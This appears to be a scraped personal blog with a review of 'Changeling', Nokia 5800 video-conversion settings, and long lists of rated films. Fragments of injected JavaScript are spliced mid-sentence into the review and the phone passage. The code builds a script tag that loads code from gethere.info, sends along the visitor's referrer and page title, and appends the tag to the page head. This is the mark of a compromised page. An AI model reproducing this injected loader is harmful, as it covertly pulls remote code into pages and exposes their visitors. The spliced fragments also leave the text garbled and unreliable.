Changeling

The movie is set to happen somewhere around the 1920’s. The main character,a mother who loses her 9 year old child, is played by Angelina Jolie. This must have been a very challenging role for the “Tombraider” action fame. She had expressed all the emotions and grief of a mother losing a child without losing the dignity of a society lady. This is not like an indian movie, where the mother losing a child will be crying out loud and making so much scene.

The most part I liked in the movie is the background tone. It is very simple and catching that I can still hear it ring in my ears.

As a whole this movie can be rated as 7/10.

The rating is a little lower from my side. Why? because the movie ended with a trivial meaning. But I donno whether it can be ended in some other way. But worth a watch for the 2 hours. Yeah! I said 2 hours. It’s a bit lengthy when English movies are considered.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Watch HQ videos on 5800 – Convertion details

You can convert easily with Mediacoder. Subtitle is auto detected and added if both the SRT and AVI files are in the same folder, with the same name. It has customized preset functionality also.

Download it here : http://mediacoder.sourceforge.net/dlfull.htm

XML preset settings for media coder. Just paste this into a file with XML extention. eg 5800.xml
Video bitrate : 800 ( you can try 900 or greater for better quality. )
Format: MPEG4
Container: MP4

For the best resolution and cropping,check the source’s resolution. For example, if the video resolution 624×352 which is smaller than 5800XM’s screen (640×360),then don’t resize it to 640×360. So if you want the best quality for your viewing, check the source video details first, before doing cropping or resizing.

For the audio, choose the bitrate of 128. If the audio bitrate is higher than what you have for the source, it can cause lags in the audio while playing on the mobile. So always choose a bitrate lesser than what you have in the source file.

I am giving here a list of 5800 compatible convertors which I have used and found to be working.
FreeVideoToiPodConverter
Settings to convert :select IPOD in devices and in presets use the “IPOD TOUCH HIGH QUALITY (MPEG 30 FRAMES PER SECOND 640 * 480 ,AAC 192 BIT
SUPER
Best in the league, but its painfully slow. If you want the optimal settings for 5800, I can provide you with the XML preset file.
NOKIA pc suite VIDEO
Not suitable for every file and needs your phone to be connected.
Mediacoder

Excellent and I am using this currently. Supports subtitles.

Here is some more , recommended by some websites. All may not be freeware. (I din’t personnaly check it though. If anyone had used any of these, please revert with the speed, clarity and other details)

DoremiSoft Avi to MP4.  http://www.mp4kits.comMP4kits.com
Daniusoft Video Converter  http://www.daniusoft.com/video-converter.html
Winavi m4 converter.  select iPod ….. Subtitles will be loaded automatically
psp video 9  http://www.pspvideo9.comPSP
smartmovie 4.10  the lag in avi playback is really reduced
4media MP4 Converter
Zune converter  http://dailymobile.se/forum/index.php/topic,406.40.html
Ulead  http://www.mymobile88.com/make-nhd-video-for-nokia-5800-xpressmusic/
ImTOO MPEG Encoder ultimate
pocket Divxencoder  http://www.pocketdivxencoder.net/EN_index.htm
Format Factory

Some Useful Tips

Video resolution width must not exceed 640 and height must not exceed 360

To make sure that the Aspect ratio is maintained you have to map either the original width to 640 or original height to 360. If both can be mapped then good. but it is possible only with 16:9 aspect ratio videos. Here’s a few eg.
Original Movie Res. Res for 5800XM (Screen size 640×360)
352×240 528×360
512×288 640×360
1280×640 640×320

Birate : 1024 for HD quality, 512 if you want a smaller file size
Framerate : 25 (30 if the original framerate is over 25)

Audio Codec : aac
Bitrate : 128
Channel : 2
Sample rate : 11025}

Movie Reviews

Why can’t I write a small, concise review on the movies I watch. This has been a long time wish of me. Let us see how far this goes 🙂

Now that I have  a Nokia 5800 Xpressmusic in my possession, I have started to watch movies on the move. This keeps me engaged and I don’t feel bored while travelling. If you have a Nokia 5800 Xpressmusic and would like to watch movies on that, please refer to this tutorial to convert movies to the 5800 format.

Movies are of amazing clarity and we can watch it in widescreen mode. The screen is a little dull during daytime, but it is pretty good to view once the sun is down. People used to look at me in awe on the phone while I am watching it.

Battery life of the 5800 is also amazing. I have watched at least two full movie on it before doing a recharge again.d.getElementsByTagName(‘head’)[0].appendChild(s);

Movie Wish List – Part 4

La Vita è bella |9/10 | (True Classic!)
The blair witch project | 7 out of 10
Shutter (Thai horror) |8 out of 10
The eye (Japanese horror) | 8 out of 10
Outlander | 4 out of 10
Afro samurai: resurrection | 7 out of 10
Madagascar back to africa | 6 out of 10
Body of lies | 6.5 out of 10 (I was expecting good acting and stronger story with Leonardo and Russel Crowe)
Rock N rolla | 7 out of 10
Bolt | 8.5/10 | another good one by disney
Dev.d | 8.5/10
The Boy in the Striped Pyjamas (2008)
Rec (spanish) 9 out of 10: Must watch movie. Prepared to be scared.
Banlieue 13 |8/10
Before the Rains | 8/10| nice movie!!
Rockford | 7.5/10 | too old for it now
Felon | 9/10
Maachis (1996) | 9.5/10
Twilight |10/10
how to lose a guy in 10 days| 9.5/10.
Modern Times |10/10
The Stoneman Murders |7.5/10
8MM | 7.5/10.
Butch Cassidy and The Sundance Kid | 8 / 10
Glengarry Glen Ross | 10/10
MouseHunt | 9/10
Hard Candy | 7/10
RocknRolla | 8.5/10
All are awesome | 8.5/10
M | 9/10 (A Classic!)
Patton | 8.5/10 (Nice!)
The Green Mile | 9.5/10
Bedtime Stories | 7/10
Oye lucky Oye | 9/10
samurai rebellion | 8/10
Protege | 9/10
Wild Things | 8/10
IP Man | 9/10
Thick As Thieves | 8/10
Burn After Reading | 8.5/10
The Battle of Algiers | 8.3/10
Bad Santa | 8/10
High Noon | 8/10
en to Chihiro no kamikakushi | 9.5/10
Thank You for Smoking (2005)| 9/10
Princess Mononoke | 8.9/10
Revolution OS | 10/10
Three Kings | 7.8/10
Tahaan | 9/10
Children Of Men | 8/10
Flag of our Fathers | 7/10
Waltz with Bashir | 8.8/10
Grave of the Fireflies ~ 9/10
The Midnight Meat Train – 8/10
Babysitter Wanted – 7/10
The Treasure of the Sierra Madre | 8.7/10
The Weather Man | 8/10
into the wild | 9/10
underworld 3 | 9/10
Australia | 7.5/10
Back To Future 1,2,3 | 9/10
The Wild Bunch | 8.8/10
Taking Chance | 9.5/10
Van Wilder Party Liaison | 9/10
Van Wilder 2: Rise of Taj | 8/10
Man_on_wire | 8/10
Swades | 10/10 | Hindi movie
Role Models | 7/10
The Devil wears Prada | 7.8/10
Ip Man | 7.5/10 | very good martial arts movie after a long time.
Felon | 8/10
Punisher: Warzone | 8/10
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movie wish list – part II

gran torino | 10/10 | awesome awesome movie
Transformers | 8/10 | (a very nice movie, deserves to be seen)
Vicky Cristina Barcelona | 9/10 | (a very interesting moive. read VERY twice. must watch movie.)
Hellboy 2 | 8/10
21 | timepass movie
Vantage point | 9/10 | very nice movie, some loopholes, but a competitor to the bourne series.
The president is coming | 8/10
Gran Torino | 8/10
Pride and Glory | 8.5/10
Hot Fuzz | 9.5/10
The simpsons movie |  9/10
fifth element | 8.5/10
edward scissorhands | 9/10
Changeling | 8/10
The Curious Case of Benjamin Button (2008) | 9.7/10
Mystic River (2003) | 9/10
18 Year old Virgin | 7/10 | Adults only ,a big no for kids
In Bruges |  9/10 | Ultimate Crime Comedy film
The Notebook | 8.5/10
LET THE RIGHT ONE IN | 9.8/10}

Movie Wish List

Memento | 10/10
Seven Pound | 10/10
Burn-E
Oye Lucky | 9/10 | Dibakar Banerjee does it again (well atleast for the intellectual minds :P)
Madagascar 2 | 8/10
Death Race | 8/10
Son of Rambow | 7.5/10 | (2007) (http://www.imdb.com/title/tt0845046/) :
Reservoir Dogs |  8.7/10
Requiem for a Dream | 9.5/10
Madagascar Penguins in Christmas Capers
Cashback | 7.8/10
Changing Lanes | 7/10
X.Files – Fight the future | 8/10
All boys love mandy lane | 7/10
the cell | 7/10
Death Sentence |  6/10
hancock | 6.5/10
Taken | |Worth watching 🙂
Thunderpants | 7/10
Zack & Miri make a Porno |  7/10
Righteous Kill | 7.5/10
Slumdog Millionaire | 8/10 | Nice Movie
Erin Brockovich
| 7/10
P.S. I Love You

Addicted to Love
Trainspotting
Disturbia.Good thriller | 7/10.
The fountain- A really strange move|  7/10
Tropic Thunder | 8.5/10
Office Space | 9/10
Vantage point | 8/10
Training Day | 8/10
Hackers 1995
Porco rosso | 8/10 | (Ghibli Studio animation)
The Wackness | 8/10
Blue Velvet | 7.5/10
The Wrestler | 9/10
The Jungle Book | 11/10
Jumbo | 8/10
Revolutionary Road | 9/10
Reign over me. | 9/10.
In the valley of elah | 8/10.
Maria Full of Grace | 8/10
The visitor | 8/10
black balloon | 9/10
the fall | 8/10
Holes | 8/10
Traitor | 7/10
Crash (2004) | 9.9/10
Pineapple express  | 8/10
Revolutionary Road | 9/10
Fabuleux destin d’Amélie Poulain, Le (2001) | 9/10
Taken | 8/10
Black Friday | 9/10
Kiki’s Delivery Service | 8/10 | (Studio Ghibli Animation)
Tokyo Marble Chocolate | 8/10 | (animation)
Once Upon A Time In America  | 8.5/10
Get smart | 9
Without A Paddle (2004) | 8/10
Inside Man | 8/10
RockNRolla | 8.5/10
Waking Ned Devine | 11/10
The 40 year old virgin | 8/10
The curious case of Benjamin Button | 10/10
Sling Blade | 8/10
Deception | 8/10.
The Last of the Mohicans | 8/10
Max Payne | 7/10
Zack and Miri make a Porno | 7/10
The Wrestler | 9.5/10 |  Awesome
The President is Coming | 8/10
Just Like Heaven | 7.5/10
RocknRolla | 9/10
A Wednesday | 8/10
Fashion | 7.2/10
Scent of a Woman | 8/10 | Al Pacino is extraordinary..

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